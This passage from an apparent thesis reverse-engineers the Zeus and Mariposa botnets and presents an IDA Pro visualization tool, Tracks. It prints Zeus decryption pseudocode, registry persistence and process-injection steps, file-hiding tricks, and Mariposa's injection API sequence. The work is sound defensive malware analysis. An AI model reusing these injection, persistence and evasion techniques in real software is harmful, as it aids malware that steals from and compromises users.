50 00 B3 C1

12 2D 00 BD

00 F2 6C BB

7E 62 82 A4

7E 42 E1 C1 

50 62 B3 C1 

12 2D 82 BD 

A4 F2 6C BB 

Text with missing data

Filler text

Filled text

Figure 4.44: Second De-obfuscation Result

and the URL decryptions is given in Figure 4.45 and Figure 4.46 respectively.

Decrypt_Strings(enc_string)
{
seed = 0xBA;
String dec_string = new String(enc_string.length);
for(i = 0 to enc_string.length )
{
dec_string[i] = ( enc_string[i]+ seed ) % 256;
seed = ( seed + 2 );

}
return dec_string;

}

Figure 4.45: Zeus String Decryption Pseudocode

4.4.2 Code Injection and Installation

At this point of execution, the code is decrypted as valid instructions and ready to install the

bot as an injected thread into the Windows live processes. At first, Zeus injects code into
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Decrypt_URL(enc_URL)
{
String dec_URL = new String(enc_URL.length);
for(i = 0 to enc_URL.length )
{
if ( i%2 == 0 )

dec_URL[i] = ( enc_URL[i] + 0xF6 - i*2 ) % 256;
else

dec_URL[i] = ( enc_URL[i] + 0x7 + i*2 ) % 256;;
}
return dec_URL;

}

Figure 4.46: Zeus URL Decryption Pseudocode

winlogon.exe. Afterwards, it initiates mass process infection from inside the process winlo-

gon.exe. At the beginning of the installation process, Zeus dynamically loads the methods

LoadLibrary and GetProcessAddress from the library Kernel32.dll. Then, Zeus decrypts

the encrypted strings which are used as imported function names using the pseudocode

shown in Figure 4.45. Zeus loads imported function using the methods LoadLibrary and

GetProcessAddress. At this point, Zeus looks for the presence of installed personal fire-

walls from Outpost [13] and ZoneLabs [23]. To do this, Zeus enumerates the process

address space and looks for outpost.exe and zlclient.exe. If any of this precesses are found,

Zeus terminates the installation process. Next, Zeus performs registry changes to survive

reboot. It creates a new registry key namely, Userinit under HKEY_LOCAL_MACHINE/

SOFTWARE/Microsoft/WindowsNT/CurrentVers ion/Winlogon/Userinit, and sets the value

of the key to C : /Windows/System32/sdra64.exe. The later is the location of the file

where Zeus will be copied. Finally, Zeus injects its entire binary from the memory ad-

dress 0x400000 to 0x417000 into the virtual memory of the winlogon.exe process. Then, it

transfers its control to the newly created thread.
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4.4.3 After-Injection Activity

After-injection activities have two dimensions depending on whether it is a new infection or

rebooting of already infected machine. New infection process performs few extra steps; it

creates a local copy of the malware and saves it in the infected system for further activities.

Activities of creating local copies are listed below:

• Zeus searches for any existing copy of sdra64.exe, which is a copy of the bot itself.

If it is found, Zeus deletes the file from the infected machine. This happens when the

botmaster updates the bot binary with a new version of the bot.

• It makes a copy of itself and saves it to C : \Windows\System32\sdra64.exe. To

baffle signature based detection, Zeus adds random number of bytes at the end of the

file.

• In order to conceal himself, it copies the Modification, Access, and Creation (MAC)

times information from ntdll.dll and applies them for the copied file sdra64.exe. The

intention is to baffle users to think that sdra64.exe is a system file.

• It sets the file attributes of sdra64.exe as hidden and system. This is another attempt

to hide the created file.

The malware is now running as a thread in the virtual address space of winlogon.exe.

In this stage, Zeus decrypts strings and URLs by applying the pseudocode described in

Figure 4.45 and Figure 4.46 respectively. Afterwards, Zeus instance that is running inside

winlogon.exe starts injecting into another process, namely svchost.exe. This newly injected
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process initiates a network connection to communicate with the C&C server. After com-

municating with the C&C server, it looks for the update of the dynamic configuration file

and also for the update of the bot itself. During the malware update process, the following

file system changes can be observed:

A) A new folder is created at the path C : \Windows\System32\lowsec.

B) Two new files local.ds and user.ds are created and placed into the created directory. The

file local.ds is used to store the stolen information from the victim machines whereas

the file user.ds is used to store the downloaded dynamic configuration file config.bin.

The thread runs in winlogon.exe acts as the administrative authority of the Zeus malware

activities. It communicates with all other infected processes through a named pipe called

_AV IRA_2109 and this is a sign of another intelligent design. Bot executes actions in a

distributed fashion by performing its activities in different injected processes. This makes

Zeus extremely hard to detect and analyze.

4.5 Key Extraction

The configuration file config.txt contains a static part as we have described in Section 4.2.

At the time of building the bot, this part is stored inside the bot binary in a specific structure.

All static information are inscribed in this structure. The static configuration structure

is shown in Figure 4.47. All the information in this structure is plain except two URLs:

url_compip and url_con f ig. The URL url_con f ig is the location that specifies from where
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to download the dynamic configuration file and the URL url_compip is the web location

that is used to determine the IP address of the infected host. Zeus uses the algorithm

described in Figure 4.45 to decrypt these two URLs. The other information inscribed in the

structure includes a table for the RC4 substitution that is generated from the encryption key

using the RC4 key-scheduling algorithm [100]. This substitution table is used to encrypt

the C&C traffic using the RC4 algorithm.

Figure 4.47: Static Configuration Structure in Zeus Binary

4.5.1 Automated Key Extraction

We notice that the static configuration can provide valuable information to gain control in

some extent over the botnet. As the traffic is encrypted using the RC4 algorithm, we can
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decrypt the traffic using the inscribed key. The information also can be used to decrypt

the dynamic configuration file. To recover the static configuration structure, we have to

proceed with the reverse engineering described in Section 4.4. This requires executing the

malware until it reaches the specific point. To automate the key extraction process, we

write scripts using Python scripting language. As we have stated before, Python scripts

can be used in IDA Pro with the help of IDAPython plugin to extract information from the

binary executable. The script emulates all the de-obfuscations that are employed in Zeus

and returns the configuration structure. It also equips with the functionality to decrypt

url_compip and url_con f ig. Our experimental result says that our scripts are capable to

extract configuration structure from any subversion of Zeus v.1.2.x.x because all of these

subversions hold the same logical structure.

4.6 Summary

In this chapter, we have discussed the reverse engineering findings of Zeus crimeware

toolkit. Actually, we have presented the different components and their interconnections to

build up the botnet. We have also presented the network interactions of the botnet. Further-

more, we have discussed all the decryption routines to reach the bot installation process.

Additionally, we have developed Python scripts to extract the static configuration structure

from the bot binary.
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Chapter 5

Control Flow Visualization

The task of reverse engineering to understand and analyze low level system contains chal-

lenges. When we relate the topic with malware, it becomes more rigid because of the

inherent nature of complexities involved with malware. The current lack of visualizations

in assembly language tools further deteriorates the situation. To comprehend complex mal-

ware binaries, it is useful to get help from tools to support the analysis. Visualization is very

important to analyze this type of binaries. In order to find out what are the most important

problems for malware analysis and the corresponding opportunities for visualization, we

conduct an initial survey [48]. Our survey reveals that control flow is particularly crucial for

program comprehension in malware domain. Most of the user interfaces used to visualize

the low level systems are dated and used to navigate and explore large code bases. The

engineers of higher level systems often rely on tools for effectively navigating codebases

and analyzing the design. On the other side, the corresponding facility for the low level

system is severely lacking.
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As an example, we can consider a call graph generated by IDA Pro Disassembler and

Debugger, which is a state-of-the-art tool in the field of reverse engineering. Figure 5.48

shows a function call graph of Mariposa bot generated by IDA Pro. We also zoom a specific

portion of the graph in Figure 5.49. There are many noticeable issues in the graph. The

first thing is that the graph is static and there is no execution trace in it. Also, it does not

show external calls. Another important thing to mention is that there is no way to locate

a specific function in the graph and thereby, the user needs to locate it manually. Even in

one stage, if the user becomes familiar with the environment, the next faced problem is

that there is no way to follow a single call. Moreover, the graph does not show the correct

ordering of calls nor it does indicate if the function call occurs more than once.

Considering the lack of user interface tools for the analysis of low-level systems, we

propose a new user interface designed to reduce the cognitive overhead of analyzing low-

level systems especially in malware domain. We name our tool Tracks. The tool is inte-

grated with IDA Pro and it allows the user to effectively visualize and trace the function

call sequences when analyzing the binary using IDA Pro. In this chapter, we describe the

architecture, functionality and different features of the tool. Moreover, we present a case

study to demonstrate the features where we analyze Mariposa bot client using our proposed

tool.
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Figure 5.48: Function Call Graph in IDA Pro

Figure 5.49: Zoomed Function Call Graph in IDA Pro
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5.1 Low-level Program Comprehension

To find out the most difficult aspects of low-level program comprehension, we conduct a

survey on 15 practitioners in the corresponding domain. The details of the survey can be

obtained in [48]. In the questionnaire of the survey, we ask questions about the current tools

specially regarding browsing/navigation, debugging and control flow requirements. Our

intention is to find out the relatively difficult tasks in low-level program comprehension.

According to the survey, the top reported most difficult tasks are following data and control

flow. The most time consuming tasks are trying to locate a certain behavior within the

code, control flow analysis, dataflow analysis, de-obfuscations and decryptions. Among

them, control flow analysis is graded as the most difficult and time consuming. We also

ask developers about the usefulness of reverse control flow. Reverse control flow is to step

backward in a given function to discover what path leads there. The developers are also

asked about what information they might like to extract from the control flow data. Table

5.3 summarizes the result of the control flow requirements from the survey.

Asked Reported

Static concerns 20% (3/15) Loop and recursion
Dynamic concerns 7% (1/15) Multi-threaded traces

7% (1/15) Trace comparing
7% (1/15) Branch frequency

Reversed flow useful 87% (13/15) Yes
Information to mine 47% (7/15) System call patterns

13% (2/15) Compare traces
12% (2/15) Reaching execution points and jump conditions

Table 5.3: User Requirements for Control Flow
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5.2 Tracks: The Sequence Viewer

In this section, we describe the sequence viewer tool that we call Tracks. First, we elab-

orate the different control flow views supported by Tracks. When we talk about control

flow from the perspective of the computer science and specially for the purpose of reverse

engineering, it means the flow or the order of function calls. Order of function calls or the

control flow is imperative to understand the functionality of malware. There are several

types of control flow views to deal with. The first is a static control flow which shows all

the function calls from the current function. The second is a history view and finally, the

dynamic control flow view. Our tool Tracks supports the three types of the control flow

views. In the sequel, we provide a detailed explanation of each views and we also explain

the visual features of the tool. Furthermore, we provide details of how Tracks is integrated

with IDA Pro to display the control flow views.

5.2.1 Static Control Flow

In order to visualize static control flow, we need all function call data from the IDA Pro.

This function call data are received from IDA Pro using a IDA Pro plugin that we built.

The IDA Pro plugin iterates through the binary executable inspecting each address for the

cross references and external calls. Tracks interprets the data provided by the plugin and

organizes them in a tree view. Figure 5.50 shows the static call graph function of calc.exe.

When the user selects a function on the tree, the corresponding static call graph is displayed

in the right top pane as shown in Figure 5.50. The user can extend the function calls to
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Figure 5.50: Tracks Static Call Graph

visualize the sub function calls. We also provide graphical signs to differentiate imported

function calls from local calls. User can differentiate the imported functions1 by observing

an I icon next to the function name.

5.2.2 Dynamic Control Flow

Static control flow view renders the control flow diagram when the executable is not run-

ning. This scenario is not suitable for all the cases especially for malware analysis. Most

1Imported function means that the function is located in another file.
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of the malware are packed and deployed with multiple layers of encryption. In such cases,

it may happen that initially there is no defined functions in the binary. An initial chunk

of codes may load instructions into the stack, which thereby decrypts some part of the en-

crypted malware code into meaningful machine codes. To counter these types of problems,

dynamic control flow view renders the control flow diagram in runtime by collaborating

with IDA Pro. Tracks receives a message whenever a new function is executed during a

debugging session in IDA Pro. User can open the Dynamic control flow diagram either by

selecting a function in the tree view or through the menu options. If the diagram is opened

from the tree view, a breakpoint will be set automatically at that function to get the control

of the execution. The user has two choices for this diagram: to render all of the calls, or to

render just the calls that are stepped into. When rendering only the calls that are stepped

into, hitting a breakpoint adds that function call from the root. User is used as the root of

the diagram in such cases. An option is also available to trace the inner calls of an imported

function.

Detection of loops and cycles is important in low level system analysis. Loops, in

this context, refer to calls within the same function, and cycles refer to the iterations of a

function call pattern. To detect the loops and cycles, we set up a preference for loop and

cycle count. We use IDA Pro plugin to detect the loops and Tracks viewer to detect the

cycles. To detect loops, every jump address is checked and recorded in the plugin. If there

is more than n jumps occur in the same address and the same function then, plugin detects

it as a loop, where n is the preference for detecting loops. Tracks uses a simple graph

cycle detection algorithm to detect cycles in the trace. The algorithm works on an array
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of strings, where each string is the name of the targetted called function. If the algorithm

detects a cycle, it collapses the diagram and sends a message to the IDA Pro plugin to stop

sending message for the address pattern. The examples of loops and cycles are shown later

in this chapter.

5.2.3 Navigation History

In reverse code analysis of malware, it is important to remember the navigation history

of executing specific malware. The path or the pattern of an execution helps the user to

reexecute the malware (for the purpose of reexamining a specific part of the malware)

without consuming long time. This is the reason to preserve the navigation history in

Tracks. Navigation history module is used to keep the track of the navigation history while

using IDA Pro. In one sense, this diagram is similar to the dynamic control flow diagram as

it is generated dynamically when the user navigate the binary using IDA Pro. Navigation

history diagram uses User as the root of the diagram. When the user first selects a function

in IDA Pro, it is added in the diagram as a call from the User lifeline. If the user selects

a function that is cross reference from the corresponding function, it will be added as a

function call from that function. However, if the user selects a function that is not a cross

reference, then, it will be added as a call from the User lifeline. The navigation history

diagram can be saved as a trace to be analyzed later.
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5.2.4 Diagram Features

There are some common features among the three views of Tracks. If we look at the Fig-

ure 5.50, there is a panel at the top of the figure, which shows the module name where

the function is defined in. We can see in the figure that the imported function LocalFree

is defined in KERNEL32.dll. When the user selects an imported function, the control flow

data corresponding to the function is parsed and displayed in the pane. Tracks also pro-

vides facilities to trace large systems. If the trace is excessively long, the user can set up

a new root for the trace. This feature is available as an option when right-clicking on the

subroutine’s lifeline. In order to facilitate easy navigation between roots, there is a bread-

crumbs added at the top of the diagram. A thumbnail view is also added at the bottom of

the diagram which helps the user to navigate diagrams easily. For the persistency, we add

an option to save the state of the diagram. When the user completes the analysis session,

he/she can save the state of the diagram for future use. We also provide facilities that are

related to IDA Pro. For example, if the user double clicks on a function call, IDA Pro will

navigate the place where the function is called. This feature assists the analysis in IDA Pro.

There is also a preference to synchronize the navigation with IDA Pro as we step through

the diagram. Lastly, if the user renames a function from IDA Pro, it will be reflected in the

opened diagram.

5.2.5 Design and Implementation

In this section, we discuss the design and the implementation of the Tracks sequence di-

agram tool. For the graphical view of Tracks, we extend Dynamic Interactive Views for
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Reverse Engineering (Diver) [92] which is an extensible open-source sequence diagram

tool. First, we try to give a brief overview of Diver followed by a description of Tracks.

Diver: The Sequence Explorer

As we have stated before, to create Tracks, we extend Diver [92] which is built using eclipse

framework [117]. Diver is designed considering two prime perspectives. The first is model-

independence and the second is interactivity/navigability. The term model-independence

means the independence of data format usability in the back-end. The viewer can visualize

program control flow from various data sources. The data sources include control flow of

assembly language (our case), dynamic traces from instrumented Java programs [50] and

call structures of static Java source code. Data format independence has been accomplished

by using a framework compatible with the Eclipse JFace [118] viewer framework.

The second feature interactivity/navigability is stimulated considering the fact that se-

quence diagram can become very large and considerably complex. To cope with this issue,

the viewer is equipped with some features like: 1) animated layout, 2) highlighting of se-

lected elements and related sub-calls, 3) grouping of related calls, 4) hiding or collapsing

of call trees and package/module structure, 5) customizable colors and labels for visual

elements such as activation boxes and messages, 6) keyboard navigation through compo-

nents, and 7) the ability to reset (focus) the sequence diagram on different parts of the call

structure. An evaluation of these features is available in [50].
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Tracks

To achieve the functionality of Tracks, we first define the XML data model to contain all

the static and the dynamic control flow information that is extracted from the IDA Pro using

the IDA Pro plugin. On top of this model, we define our own content and label providers for

the sequence diagrams. For the dynamic control flow and navigation history, we portray

the diagram dynamically, and all dynamically build diagrams are saved in different XML

models as the functions make different calls at different times. The additional functions

that are added in Tracks are: function tree view, cycle detection, marking external calls and

adding custom events, e.g., setting breakpoints.

Tracks also supports multiple instances of IDA Pro simultaneously which is very im-

portant to analyze live processes. For example, when analyzing Mariposa botnet, we need

to analyze two executables concurrently using two instances of IDA Pro as Mariposa in-

jects its functionality into explorer.exe. One instance of IDA Pro is loaded with Mariposa

executable and another instance of IDA Pro is attached with the live winlogon.exe process.

Using Tracks users can also navigate to the proper instance of IDA Pro by double clicking

on an element in Tracks view.

Communication With IDA Pro

In order to retrieve information from IDA Pro, we need to create an IDA Pro plugin that is

able to listen to events and generate the needed data. IDA Pro plugin is written in C++ and

Tracks is written using Java programming language. In order to make the communication
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simple between the two platforms, we use socket communication. All the possible mes-

sages passed between IDA Pro plugin and Tracks is shown in Figure 5.51. The first message

from Tracks is to initiate a contact. As a reply, IDA Pro sends back the path to the XML

file describing the static control flow. Next, Tracks can receive information about events

from IDA Pro regarding navigation, debugging and renaming. This information contains

additional data about the functions like: the index of the call (8 in this case), the function

address, the function name and the file name (in this case, calc.exe). These messages also

contain the name of the external file that the function resides in. Tracks is able to send

messages to the plugin to enable/disable tracing messages and to enable/disable tracing

calls within a library module. It is also capable to send messages to count the preference

of the loops to disable tracing for a specific loop. In order to terminate the communication,

Tracks sends a goodbye message and the plugin replies with another goodbye message.

5.3 Case Study

The primary purpose of Tracks is to improve the visualization features of the low level

systems to ease the analysis process. To demonstrate some of the features of Tracks, we

analyze Mariposa botnet using IDA Pro and Tracks. Our primary objective is to demonstrate

the improved visualization aspects provided by Tracks. We demonstrate how the improved

view of loops, cycles and the pattern of system calls help to understand malware. According

to the discussion in Section 3.3, there are four phases in the reverse engineering of Mariposa

bot. The phases are: obfuscation, decryption, injection and after-injection. In this section,
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Figure 5.51: Communications Between IDA Pro Plugin and Tracks

we show how the improved features of Tracks facilitate the understanding of Mariposa

code. There are two interesting areas of analysis we are emphasizing on; one is detection

of loops/cycles and the other is API call patterns.
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5.3.1 Obfuscation and Decryption

As we have stated before, Mariposa bot starts its execution with a large useless loop. The

purpose of the loop is to confuse analyzers, automatic un-packers and debuggers. The as-

sembly code of this obfuscation is shown in the Figure 3.15 presented in Chapter 3. Tracks

detects this obfuscation as a cycle and the cycle can be seen in the lower left corner of the

Figure 5.52. After this obfuscation, Mariposa transfers its control to the portion of the code

that is responsible to decrypt some parts of the binary to create meaningful machine code.

This decryption routine XORs the data that is located between the addresses 0x41D000 and

0x41D4C0 with the constant 0x0CA1A51E5. Afterwards, Mariposa transfers its control to

the address 0x41D047. The assembly code of the first de-obfuscation is shown in Fig-

ure 3.16 presented in Chapter 3. Such loops that occur within a single function are colored

red in the sequence viewer. These loops and cycles can be seen both in Figure 5.52 and

Figure 5.53. In this way, analyzer can know that a large loop occurs in the binary which

may be suspicious.
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Figure 5.53: Decryption Loop in Tracks

5.3.2 Injection Phase

One of the features of malicious software is to hide its evil activities inside legitimate

processes. Code injection is a technique used to hide malicious processes inside legitimate

processes and thereby compromise an operating system. It is a challenge for the security

researcher to detect evil code injection. We use the word evil here as some of legitimate

systems also use code injection to conduct their functions. Analyzing system call patterns

can be a good source to detect evil activity. For example, to inject into a process, we

have to find the handle of the process, allocate memory inside the virtual address space of

this process and write code into that process. There has been much work done to detect

intrusions based on the sequence of system calls [75, 106]. Information regarding the API

call patterns can be discovered through the sequence viewer. In the present version of

Tracks, user has to detect it manually. However, in future versions, user will be able to

detect it automatically. We observe some of the API call patterns that are used in the

injection process of Mariposa.
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5.3.3 Injection Preparation

Mariposa injects code into explorer.exe as we have described in Section 3.3.4. As a prepa-

ration for the injection, Mariposa organizes the data to be injected. Afterwards, Mariposa

looks for the process to inject into it using the library functions: CreateToolhelp32Snapshot,

Process32First and Process32Next. The assembly code of calling the Process32Next func-

tion is shown in Figure 5.54. As we can see, the function is called using callecx instruction.

However, since the address of the function is stored in the register, we only see what the

call is when we debug it and step through the call. This information can easily be seen from

sequence diagram, as shown in Figure 5.55.

Stack[000015E0]:0013591F loc_13591F:
Stack[000015E0]:0013591F
Stack[000015E0]:0013591F lea ecx, [ebp+var_128]
Stack[000015E0]:00135925 push ecx
Stack[000015E0]:00135926 mov edx, [ebp+var_134]
Stack[000015E0]:0013592C push edx
Stack[000015E0]:0013592D mov eax, [ebp+var_12C]
Stack[000015E0]:00135933 mov ecx, [eax+6Ch]
Stack[000015E0]:00135936 call ecx
Stack[000015E0]:00135938 test eax, eax
Stack[000015E0]:0013593A jnz loc_135899

Figure 5.54: Finding Process in Assembly
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5.3.4 Injection

After retrieving the desired process handler, Mariposa uses VirtualAllocEx function to al-

locate space in the process. Once Mariposa allocates virtual memory space, it uses the

NtWriteVirtualMemory function in order to write into the allocated space. Figure 5.56

shows the sequence of function calls. As we have described before in Section 3.3.4, Mari-

posa injects code into five different places of explorer.exe, but for the convenience, we show

the sequence for one injection in Figure 5.56.

Figure 5.56: Code Injection Traces

5.3.5 After Injection

Throughout our research on Mariposa, we patch the Mariposa binary so that instead of

injecting into explorer.exe, it injects into winlogon.exe. The reason doing such is, analyzing

a live explorer.exe process is very hard and it often freezes the whole system. On the other

hand, working with winlogon.exe is easier comparatively.
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Some of the major post injection functions include: creation of mutex, changing file

system, changing registry, initiation of network communication and communicating with

the C&C server. Figure 5.57 shows the call sequence regarding the registry operations in

Mariposa whereas Figure 5.58 illustrates the call sequence used in Mariposa in order to

communicate with the C&C server.

5.4 Analysis

There have been very few research proposals handled the visualization of the control flow

for low-level systems. One noticeable tool is Visualization of Executable for Reversing and

Analysis (VERA) [99]. VERA provides a high-level dynamic view of basic blocks, loops

and color coding in order to support dynamic analysis. It also provides some navigation

links to IDA Pro. In contrast, Tracks provides three separate views of control flow in the

form of conceptual sequence diagrams that support function names, calls and API calls.

Another control flow tool is Code Bubbles [53], which is an IDE for Java to create

bubble groups where each bubble contains code for a method. Code Bubbles includes

static call graphs, navigation support and also a debugger. However, while many of the

features of Code Bubbles are useful, it focuses primarily on the code within the bubbles.

There is no view in Code Bubbles that contains just the calls. Moreover, it does not focus

on extremely large traces which we are existent within assembly code.

Regarding IDA Pro and Tracks, Table 5.4 summarizes the comparison between them
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Control flow

aspect

IDA Pro Tracks

API call
patterns

Static control flow with local
functions only. No search or
navigation capability.

Static or dynamic control flow
with both local and external
functions. Functions can be lo-
cated through a tree view.

Loop and
recursion

No call ordering and no
indication if call is made more
than once

Shows the order of calls, includ-
ing each time a call is made.
Also shows recursion, loops and
cycles.

Trace compar-
ing

No support. No support. Data is available.

Data required to
Reach
Execution
Points

No support. No support.

Branch
frequency

No support. No support. Data is available.

Multi-
executable
traces

No support. Can merge call paths into one
Tracks diagram from multiple
IDA Pro instances.

Table 5.4: IDA Pro and Tracks Comparison

based on the way how each tool addresses some features. Tracks provides relatively bet-

ter visualization in order to reduce cognitive overhead by better supporting navigation and

allowing zoom/collapse interaction with visual cues. Additionally, added features inte-

grated into this visual framework advances the state-of-the-art without increasing cognitive

overhead. Moreover, Data availability for some features, e.g., trace comparing and branch

frequency analysis facilitates the implementation of new versions of Tracks.
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5.5 Summary

We have introduced in this chapter Tracks sequence viewer. The goal of our work is to

develop a tool and to assist the reverse engineering process in cyber security. Relative to

existing tools in this domain, our tool introduces additional features including dynamic

tracing, loop and cycle detection and navigational aid. Our eventual target with Tracks is

to run the executable with the sequence viewer open and investigates the entire call graph

afterwards. This is sometimes impossible because of several anti-debugging traps used in

malware. Since we cannot single step over the code, the user needs some prior knowledge

to analyze the malware properly using the sequence viewer. We hope that new anti-anti-

debugging tools can solve these problems.
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Chapter 6

Conclusion

This chapter concludes the thesis. First, we give a summary of the contributions, then we

describe the research directions that can be conducted as a future work.

6.1 Summary

The perspective of the malware has changed from fun to organized crime. Malware fa-

cilitates the evil power of software for several malevolence activities including DDoS ex-

tortions, identity theft, click-fraud and many more. The central control of an evil software

equipped with malevolent capabilities imposes serious threats to the Internet world. Bot-

nets equipped with sophisticated techniques like polymorphism, metamorphism and several

hiding techniques can impose severe threat for the Internet users. Considering the fact, it

is mandatory for the security researchers to understand the inner workings of the modern

types of malwares especially botnets.
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The Mariposa toolkit is one of the most prominent botnet technologies that is being used

nowadays. Capabilities like, code injection, spreading mechanism, information stealing,

DDoS makes the botnet worthwhile to analyze. The Zeus crimeware toolkit is an advanced

tool to control and run a botnet. The integrated tootkit is designed effectively to evade

host level anti-virus detection. On the other side, the use of encrypted HTTP traffic makes

it difficult to detect and analyze in the network level. Moreover, the multiple levels of

malware obfuscation and mass process infection present a burden for the analysts of the

botnet.

In this thesis, we have analyzed Mariposa and Zeus botnet using reverse engineering

techniques. We have uncovered all the obfuscations and decryptions presented in the bot

binary. We have also described how code injection techniques are exploited by botnets

to hide their evil activities inside legitimate processes. We have also provide scripts to

automatically extract valuable information from the bot binary. Our general observation is

that botnets are becoming blended threats since they combine the capabilities of worms,

viruses and trojan horses. From this exercise, we have learned that some sequences of

API calls can be a good source to detect nefarious bot activities. For instance, a process

that generally does not need to access P2P registry entries does so by calling some API

functions can be suspicious. Finally, the rise of UDP traffic in a network can give a clue

about the presence of a Mariposa infection in this network.

Reverse code engineering is a very complex and time consuming task. Because of

the lack of suitable visualization tools, the task becomes more hectic. In order to find

out the most important beacons of malware analysis regarding the visualization, we have
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conducted a survey on 15 practitioners in the corresponding domain. In response to that

survey, we have developed Tracks which leverages progressive user interface techniques

to improve support for control flow analysis. Relative to state-of-the-art tools such as IDA

Pro, Tracks introduces additional features including dynamic tracing, navigational aids,

loop and cycle detection and integration with IDA Pro functionality. Our analysis reveals

the ways in which research in the cyber security community can be enhanced through the

adaptation of visualization techniques and interactive user interfaces in the analysis of low-

level systems.

6.2 Future Work

For future work, we intend to reverse engineer other bots that are of interest to the security

community. In addition, we will target to work on a framework for the automatic analysis,

naming and classification of malware. There are many dimensions for the future works

related with Tracks and visualization. For the sequence viewer, we determine six areas to

work: 1) recognizing API call patterns, 2) documentation, 3) showing reversed control flow,

4) comparing traces, 5) collecting data required to reach execution points and 6) detecting

branch frequency. API call patterns combined with other features can be a good source

to determine the malicious nature of executables. Regarding documentation, we feel that

when analyzing complex binary, it is important to take notes within the tool and preserve it

for future use. Reversed control path can help analyzing malicious software. It can help by

providing information on how to reach a specific portion of code. Comparing two traces
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to see how the program executes differently from one run to the next is very important.

Finally, branch frequency would indicate how often some code is executed which can be

helpful to locate performance bottlenecks. Throughout the malware analysis process, user

needs to reset the debugging process. Sometimes, user needs to restart the whole process

from the beginning. The way to find out the proper debugging steps is a tedious and a

time-consuming job mainly because of the obfuscation and the anti-debugging traps. Even

with all the steps known, one has to be extremely careful in rerunning the malware. A state

diagram that reruns the software automatically to a predefined state such as the injection

state in case of Mariposa, can be very helpful to save time and effort.
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Appendix

Listing 6.1: Library Functions Used in Mariposa Botnet

1 debug068:01620000 dd offset user32_MessageBoxA

2 debug068:01620004 dd offset user32_RegisterDeviceNotificationA

3 debug068:01620008 dd offset user32_DefWindowProcA

4 debug068:0162000C dd offset user32_RegisterClassExA

5 debug068:01620010 dd offset user32_CreateWindowExA

6 debug068:01620014 dd offset user32_DestroyWindow

7 debug068:01620018 dd offset user32_UnregisterClassA

8 debug068:0162001C dd offset user32_UnregisterDeviceNotification

9 debug068:01620020 dd offset user32_PeekMessageA

10 debug068:01620024 dd offset user32_DispatchMessageA

11 debug068:01620028 dd offset user32_wsprintfA

12 debug068:0162002C dd offset kernel32_LoadLibraryA

13 debug068:01620030 dd offset kernel32_GetModuleFileNameA

14 debug068:01620034 dd offset kernel32_CopyFileA

15 debug068:01620038 dd offset kernel32_CreateFileA

16 debug068:0162003C dd offset kernel32_CloseHandle

17 debug068:01620040 dd offset kernel32_ReadFile

18 debug068:01620044 dd offset kernel32_GetFileSize
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19 debug068:01620048 dd offset kernel32_WriteFile

20 debug068:0162004C dd offset kernel32_LocalAlloc

21 debug068:01620050 dd offset kernel32_LocalFree

22 debug068:01620054 dd offset kernel32_LocalSize

23 debug068:01620058 dd offset kernel32_GetTickCount

24 debug068:0162005C dd offset kernel32_GetCommandLineA

25 debug068:01620060 dd offset kernel32_GetLocalTime

26 debug068:01620064 dd offset kernel32_CreateToolhelp32Snapshot

27 debug068:01620068 dd offset kernel32_Process32First

28 debug068:0162006C dd offset kernel32_Process32Next

29 debug068:01620070 dd offset kernel32_OpenProcess

30 debug068:01620074 dd offset kernel32_VirtualAllocEx

31 debug068:01620078 dd offset kernel32_CreateRemoteThread

32 debug068:0162007C dd offset kernel32_lstrlen

33 debug068:01620080 dd offset kernel32_lstrcat

34 debug068:01620084 dd offset kernel32_lstrcmp

35 debug068:01620088 dd offset kernel32_lstrcmpi

36 debug068:0162008C dd offset kernel32_lstrcpyn

37 debug068:01620090 dd offset kernel32_WaitForSingleObject

38 debug068:01620094 dd offset kernel32_CreateMutexA

39 debug068:01620098 dd offset kernel32_CreateThread

40 debug068:0162009C dd offset kernel32_ExitThread

41 debug068:016200A0 dd offset kernel32_Sleep

42 debug068:016200A4 dd offset kernel32_CreateDirectoryA

43 debug068:016200A8 dd offset kernel32_GetLastError

44 debug068:016200AC dd offset kernel32_SetFileAttributesA
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45 debug068:016200B0 dd offset kernel32_DeleteFileA

46 debug068:016200B4 dd offset kernel32_GetSystemDirectoryA

47 debug068:016200BC dd offset kernel32_CreateProcessA

48 debug068:016200C0 dd offset kernel32_GetEnvironmentVariableA

49 debug068:016200C4 dd offset kernel32_GetModuleHandleA

50 debug068:016200C8 dd offset kernel32_GetVersionExA

51 debug068:016200CC dd offset kernel32_GetTempPathA

52 debug068:016200D0 dd offset kernel32_ExitProcess

53 debug068:016200D4 dd offset kernel32_VirtualProtectEx

54 debug068:016200D8 dd offset kernel32_CreateNamedPipeA

55 debug068:016200DC dd offset kernel32_ConnectNamedPipe

56 debug068:016200E0 dd offset kernel32_DuplicateHandle

57 debug068:016200E4 dd offset kernel32_GetCurrentProcess

58 debug068:016200E8 dd offset kernel32_DisconnectNamedPipe

59 debug068:016200EC dd offset kernel32_GetLocaleInfoA

60 debug068:016200F0 dd offset kernel32_PeekNamedPipe

61 debug068:016200F4 dd offset kernel32_CreatePipe

62 debug068:016200F8 dd offset ntdll_NtWriteVirtualMemory

63 debug068:016200FC dd offset advapi32_RegCreateKeyExA

64 debug068:01620100 dd offset advapi32_RegSetValueExA

65 debug068:01620104 dd offset advapi32_RegCloseKey

66 debug068:01620108 dd offset advapi32_RegDeleteValueA

67 debug068:0162010C dd offset advapi32_RegOpenKeyA

68 debug068:01620110 dd offset advapi32_GetUserNameA

69 debug068:01620114 dd offset advapi32_RegQueryValueExA

70 debug068:01620118 dd offset ws2_32_WSAStartup
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71 debug068:0162011C dd offset ws2_32_socket

72 debug068:01620120 dd offset ws2_32_inet_ntoa

73 debug068:01620124 dd offset ws2_32_inet_addr

74 debug068:01620128 dd offset ws2_32_htons

75 debug068:01620130 dd offset ws2_32_sendto

76 debug068:01620134 dd offset ws2_32_recvfrom

77 debug068:01620138 dd offset ws2_32_closesocket

78 debug068:0162013C dd offset ws2_32_ioctlsocket

79 debug068:01620140 dd offset ws2_32_gethostbyname

80 debug068:01620144 dd offset ws2_32_getsockname

81 debug068:01620148 dd offset ws2_32_send

82 debug068:0162014C dd offset ws2_32_gethostname

83 debug068:01620150 dd offset ws2_32_connect

84 debug068:01620154 dd offset ws2_32_select

85 debug068:01620158 dd offset ws2_32_htonl

86 debug068:0162015C dd offset ws2_32_htonl

87 debug068:01620160 dd offset ws2_32_recv

88 debug068:01620164 dd offset ws2_32_setsockopt

89 debug068:01620168 dd offset ws2_32_WSARecv

90 debug068:0162016C dd offset ws2_32_getnameinfo
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